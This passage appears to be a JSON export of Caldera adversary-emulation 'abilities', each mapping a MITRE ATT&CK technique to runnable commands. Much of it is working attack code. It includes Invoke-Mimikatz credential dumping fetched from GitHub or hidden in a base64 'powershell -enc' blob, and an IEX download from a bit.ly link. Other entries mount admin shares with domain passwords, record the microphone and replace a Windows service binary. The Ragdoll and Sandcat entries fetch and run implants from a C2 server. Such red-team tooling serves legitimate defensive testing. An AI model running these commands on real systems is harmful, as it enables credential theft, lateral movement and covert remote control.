[{"name": "sh", "platform": "darwin", "command": "./scanner.sh #{target.ip}", "code": null, "language": null, "build_target": null, "payloads": ["scanner.sh"], "uploads": [], "timeout": 300, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "./scanner.sh #{target.ip}", "code": null, "language": null, "build_target": null, "payloads": ["scanner.sh"], "uploads": [], "timeout": 300, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["technical-information-gathering"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "access", "delete_payload": true}, {"ability_id": "40161ad0-75bd-11e9-b475-0800200c9a66", "tactic": "lateral-movement", "technique_name": "Remote Services: SMB/Windows Admin Shares", "technique_id": "T1021.002", "name": "Net use", "description": "Mounts a network file share on a target computer", "executors": [{"name": "psh", "platform": "windows", "command": "net use \\\\#{remote.host.ip}\\c$ /user:#{domain.user.name} #{domain.user.password};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["net use \\\\#{remote.host.ip}\\c$ /delete;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e8017c46-acb8-400c-a4b5-b3362b5b5baa", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Network Interface Configuration", "description": "View network configuration info for host", "executors": [{"name": "sh", "platform": "darwin", "command": "sudo ifconfig", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "sudo ifconfig", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "ipconfig", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5a4cb2be-2684-4801-9355-3a90c91e0004", "tactic": "discovery", "technique_name": "Network Service Scanning", "technique_id": "T1046", "name": "Network Service Scanning", "description": "Scans the local network for common open ports", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module ./basic_scanner.ps1;\n$ports = @(22, 53, 80, 445);\nGet-NetIPConfiguration | ?{$_.NetAdapter.Status -ne \"Disconnected\"} | Get-NetIPaddress -AddressFamily IPv4 | %{\n    $ipv4 = $_.IPAddress;\n    $prefixLength = $_.PrefixLength;\n    Scan-Netrange -ipv4 $ipv4 -prefixLength $prefixLength -ports $ports;\n};", "code": null, "language": null, "build_target": null, "payloads": ["basic_scanner.ps1"], "uploads": [], "timeout": 180, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "02de522f-7e0a-4544-8afc-0c195f400f5f", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "Parse SSH config", "description": "Search for valid SSH commands in the config file", "executors": [{"name": "sh", "platform": "darwin", "command": "pip install stormssh && storm list", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ssh", "parserconfigs": [{"source": "remote.ssh.cmd", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "pip install -q stormssh 2> /dev/null && storm list | sed 's/\\x1b\\[[0-9;]*m//g'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ssh", "parserconfigs": [{"source": "remote.ssh.cmd", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5f77ecf9-613f-4863-8d2f-ed6b447a4633", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Parse SSH known_hosts", "description": "View the known_hosts file", "executors": [{"name": "sh", "platform": "darwin", "command": "cat ~/.ssh/known_hosts", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "cat ~/.ssh/known_hosts", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e82f39e2-56f8-4f19-8376-b007f9ac5f8a", "tactic": "discovery", "technique_name": "Password Policy Discovery", "technique_id": "T1201", "name": "Password Policy", "description": "Password Policy Discovery", "executors": [{"name": "sh", "platform": "darwin", "command": "pwpolicy getaccountpolicies", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "cat /etc/pam.d/common-password", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "net accounts", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2946edba-54d8-11eb-ae93-0242ac130002", "tactic": "discovery", "technique_name": "Password Policy Discovery for a domain", "technique_id": "T1201", "name": "Password Policy for a domain", "description": "Password Policy Discovery for a domain", "executors": [{"name": "psh", "platform": "windows", "command": "net accounts /domain", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5c4dd985-89e3-4590-9b57-71fed66ff4e2", "tactic": "discovery", "technique_name": "Permission Groups Discovery: Local Groups", "technique_id": "T1069.001", "name": "Permission Groups Discovery", "description": "Summary of permission and security groups", "executors": [{"name": "psh", "platform": "windows", "command": "gpresult /R", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "groups", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "groups", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ac9dce33-2acc-4b34-94ce-2596409ce8f0", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Ping network", "description": "Ping the network in order to build the ARP cache", "executors": [{"name": "sh", "platform": "darwin", "command": "for ip in $(seq 190 199); do ping -c 1 $(echo #{domain.broadcast.ip} |\ncut -d. -f-3).$ip -W 1; done", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ccdb8caf-c69e-424b-b930-551969450c57", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "PowerShell Invoke MimiKats", "description": "Download", "executors": [{"name": "psh", "platform": "windows", "command": "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvAEUAbQBwAGkAcgBlAC8ANwBhADMAOQBhADUANQBmADEAMgA3AGIAMQBhAGUAYgA5ADUAMQBiADMAZAA5AGQAOAAwAGMANgBkAGMANgA0ADUAMAAwAGMAYQBjAGIANQAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAHMAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "4d9b079c-9ede-4116-8b14-72ad3a5533af", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "PowerShell Process Enumeration", "description": "Capture running processes via PowerShell", "executors": [{"name": "psh", "platform": "windows", "command": "get-process >> $env:APPDATA\\vmtools.log;\ncat $env:APPDATA\\vmtools.log", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "get-process >> $env:APPDATA\\vmtools.log;\ncat $env:APPDATA\\vmtools.log", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "bfff9006-d1fb-46ce-b173-92cb04e9a031", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "PowerShell bitly Link Download", "description": "Download", "executors": [{"name": "psh", "platform": "windows", "command": "powershell.exe -c IEX (New-Object Net.Webclient).downloadstring(\"https://bit.ly/33H0QXi\")", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "702bfdd2-9947-4eda-b551-c3a1ea9a59a2", "tactic": "collection", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "PowerShell information gathering", "description": "System Information Gathering Script", "executors": [{"name": "psh", "platform": "windows", "command": "powershell.exe -c \"Get-WmiObject -class win32_operatingsystem | select -property * | export-csv msdebug.log\";", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "powershell.exe -c \"Get-WmiObject -class win32_operatingsystem | select -property * | export-csv msdebug.log\";", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "29451844-9b76-4e16-a9ee-d6feab4b24db", "tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082", "name": "PowerShell version", "description": "Discover the PowerShell version", "executors": [{"name": "psh", "platform": "windows", "command": "$PSVersionTable", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$PSVersionTable", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "7049e3ec-b822-4fdf-a4ac-18190f9b66d1", "tactic": "credential-access", "technique_name": "OS Credential Dumping: LSASS Memory", "technique_id": "T1003.001", "name": "Powerkatz (Staged)", "description": "Use Invoke-Mimikatz", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\invoke-mimi.ps1;\nInvoke-Mimikatz -DumpCreds", "code": null, "language": null, "build_target": null, "payloads": ["invoke-mimi.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.katz", "parserconfigs": [{"source": "domain.user.name", "edge": "has_password", "target": "domain.user.password", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "has_hash", "target": "domain.user.ntlm", "custom_parser_vals": {}}, {"source": "domain.user.name", "edge": "has_hash", "target": "domain.user.sha1", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "Elevated", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "a0676fe1-cd52-482e-8dde-349b73f9aa69", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Preferred WIFI", "description": "See the most used WIFI networks of a machine", "executors": [{"name": "sh", "platform": "darwin", "command": "./wifi.sh pref", "code": null, "language": null, "build_target": null, "payloads": ["wifi.sh"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.wifipref", "parserconfigs": [{"source": "wifi.network.ssid", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "./wifi.sh pref", "code": null, "language": null, "build_target": null, "payloads": ["wifi.sh"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.wifipref", "parserconfigs": [{"source": "wifi.network.ssid", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": ".\\wifi.ps1 -Pref", "code": null, "language": null, "build_target": null, "payloads": ["wifi.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.wifipref", "parserconfigs": [{"source": "wifi.network.ssid", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "6e1a53c0-7352-4899-be35-fa7f364d5722", "tactic": "discovery", "technique_name": "File and Directory Discovery", "technique_id": "T1083", "name": "Print Working Directory", "description": "Print the current working directory on the system", "executors": [{"name": "sh", "platform": "darwin", "command": "pwd", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "pwd", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "pwd", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2488245e-bcbd-405d-920e-2de27db882b3", "tactic": "discovery", "technique_name": "Query Registry", "technique_id": "T1012", "name": "Query Registry", "description": "Query Registry using PowerShell Get-ItemProperty", "executors": [{"name": "psh", "platform": "windows", "command": "Get-ItemProperty -Path HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3b007f46-23e7-4a11-9c14-e7085b6a754a", "tactic": "impact", "technique_name": "Service Stop", "technique_id": "T1489", "name": "Quit Outlook", "description": "Quit Outlook", "executors": [{"name": "osa", "platform": "darwin", "command": "quit app \"Microsoft Outlook.app\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0ab383be-b819-41bf-91b9-1bd4404d83bf", "tactic": "command-and-control", "technique_name": "Application Layer Protocol: Web Protocols", "technique_id": "T1071.001", "name": "Ragdoll", "description": "A Python agent which communicates via the HTML contact", "executors": [{"name": "sh", "platform": "darwin", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:ragdoll.py\" -H \"platform:darwin\" $server/file/download > ragdoll.py;\npip install requests beautifulsoup4;\npython ragdoll.py -W $server#{app.contact.html}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["pkill -f ragdoll"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:ragdoll.py\" -H \"platform:linux\" $server/file/download > ragdoll.py;\npip install requests beautifulsoup4;\npython ragdoll.py -W $server#{app.contact.html}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["pkill -f ragdoll"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["command-and-control"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "78524da1-f347-4fbb-9295-209f1f408330", "tactic": "impact", "technique_name": "Resource Hijacking", "technique_id": "T1496", "name": "Record microphone", "description": "Install sox and record microphone for n-seconds", "executors": [{"name": "sh", "platform": "darwin", "command": "brew install sox >/dev/null 2>&1;\nsox -d recording.wav trim 0 15 >/dev/null 2>&1;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 120, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "921055f4-5970-4707-909e-62f594234d91", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Remote Host Ping", "description": "Ping a remote host to see if it is accessible", "executors": [{"name": "psh", "platform": "windows", "command": "ping #{remote.host.fqdn}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.firewallping", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom"}]}], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "52771610-2322-44cf-816b-a7df42b4c086", "tactic": "persistence", "technique_name": "Create or Modify System Process: Windows Service", "technique_id": "T1543.003", "name": "Replace a service binary with alternate binary", "description": "This is an example technique. snmptrap.exe should be changed in the command\nbelow with the new desired service binary. Depending on the value of\nhost.service.modifiable this ability can damage the target system.\n", "executors": [{"name": "psh", "platform": "windows", "command": "$s = Get-Service -Name #{host.service.modifiable};\nif ($s.status -ne 'Stopped') { Stop-Service $s };\n$exe = (Get-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Services\\#{host.service.modifiable}\").ImagePath.split()[0];\n$path = (Resolve-Path $exe).Path;\nCopy-Item -Path $path -Destination ($path + \".saved\");\nCopy-Item -Path \"C:\\Windows\\System32\\snmptrap.exe\" -Destination $path", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$exe = (Get-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Services\\#{host.service.modifiable}\").ImagePath.split()[0];\n$path = (Resolve-Path $exe).Path;\nIf (Test-Path ($path + \".saved\")) {\n  Remove-Item $path;\n  Move-Item -Path ($path + \".saved\") -Destination $path\n}"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.service.modifiable"}]}], "privilege": "", "repeatable": false, "buckets": ["persistence"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "fa4ed735-7006-4451-a578-b516f80e559f", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Reverse nslookup IP", "description": "Find hostname of remote IP in domain", "executors": [{"name": "psh", "platform": "windows", "command": "nslookup #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.reverse_nslookup", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_ip", "target": "remote.host.ip", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "baac2c6d-4652-4b7e-ab0a-f1bf246edd12", "tactic": "credential-access", "technique_name": "OS Credential Dumping: LSASS Memory", "technique_id": "T1003.001", "name": "Run PowerKatz", "description": "Use powerkatz to execute mimikatz and attempt to grab plaintext and/or hashed passwords", "executors": [{"name": "psh", "platform": "windows", "command": "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };\n$web = (New-Object System.Net.WebClient);\n$result = $web.DownloadString(\"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1\");\niex $result; Invoke-Mimikatz -DumpCreds", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.katz", "parserconfigs": [{"source": "domain.user.name", "edge": "has_password", "target": "domain.user.password", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "cc5fa0d8-6e41-432b-a74a-d7cfc6c35d8f", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: Setuid and Setgid", "technique_id": "T1548.001", "name": "SUID Find & Exploit", "description": "Finds all SUID binaries and executes relevant cmds", "executors": [{"name": "sh", "platform": "linux", "command": "./transfer_suid.sh #{server}", "code": null, "language": null, "build_target": null, "payloads": ["transfer_suid.sh"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2f34977d-9558-4c12-abad-349716777c6b", "tactic": "command-and-control", "technique_name": "Ingress Tool Transfer", "technique_id": "T1105", "name": "Sandcat", "description": "Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.", "executors": [{"name": "sh", "platform": "darwin", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:sandcat.go\" -H \"platform:darwin\" -H \"architecture:amd64\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -server $server -v", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "(AMD64) Deploy as a blue-team agent instead of red", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphbWQ2NCIgJHNlcnZlci9maWxlL2Rvd25sb2FkIDI+JjEgfCBncmVwIC1pICJDb250ZW50LURpc3Bvc2l0aW9uIiB8IGdyZXAgLWlvICJmaWxlbmFtZT0uKiIgfCBjdXQgLWQnPScgLWYyIHwgdHIgLWQgJyJccicpICYmIGNobW9kICt4ICRhZ2VudCAyPi9kZXYvbnVsbDtub2h1cCAuLyRhZ2VudCAtc2VydmVyICRzZXJ2ZXIgLWdyb3VwIGJsdWUgJg=="}, {"description": "(AMD64) Download with a random name and start as a background process", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphbWQ2NCIgJHNlcnZlci9maWxlL2Rvd25sb2FkIDI+JjEgfCBncmVwIC1pICJDb250ZW50LURpc3Bvc2l0aW9uIiB8IGdyZXAgLWlvICJmaWxlbmFtZT0uKiIgfCBjdXQgLWQnPScgLWYyIHwgdHIgLWQgJyJccicpICYmIGNobW9kICt4ICRhZ2VudCAyPi9kZXYvbnVsbDtub2h1cCAuLyRhZ2VudCAtc2VydmVyICRzZXJ2ZXIgJg=="}, {"description": "(AMD64) Compile red-team agent with a comma-separated list of extensions (requires GoLang).", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphbWQ2NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6I3thZ2VudC5leHRlbnNpb25zfSIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtc2VydmVyICRzZXJ2ZXIgLXY="}, {"description": "(AMD64) Download with GIST C2", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphbWQ2NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6Z2lzdCIgLUggImMyOmdpc3QiICRzZXJ2ZXIvZmlsZS9kb3dubG9hZCA+ICN7YWdlbnRzLmltcGxhbnRfbmFtZX07Y2htb2QgK3ggI3thZ2VudHMuaW1wbGFudF9uYW1lfTsuLyN7YWdlbnRzLmltcGxhbnRfbmFtZX0gLWMyIEdJU1QgLXY="}, {"description": "(AMD64) Deploy as a P2P agent with known peers included in compiled agent", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphbWQ2NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6cHJveHlfaHR0cCIgLUggImluY2x1ZGVQcm94eVBlZXJzOkhUVFAiICRzZXJ2ZXIvZmlsZS9kb3dubG9hZCA+ICN7YWdlbnRzLmltcGxhbnRfbmFtZX07Y2htb2QgK3ggI3thZ2VudHMuaW1wbGFudF9uYW1lfTsuLyN7YWdlbnRzLmltcGxhbnRfbmFtZX0gLXNlcnZlciAkc2VydmVyIC1saXN0ZW5QMlAgLXY="}, {"description": "(ARM64) Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.", "command": 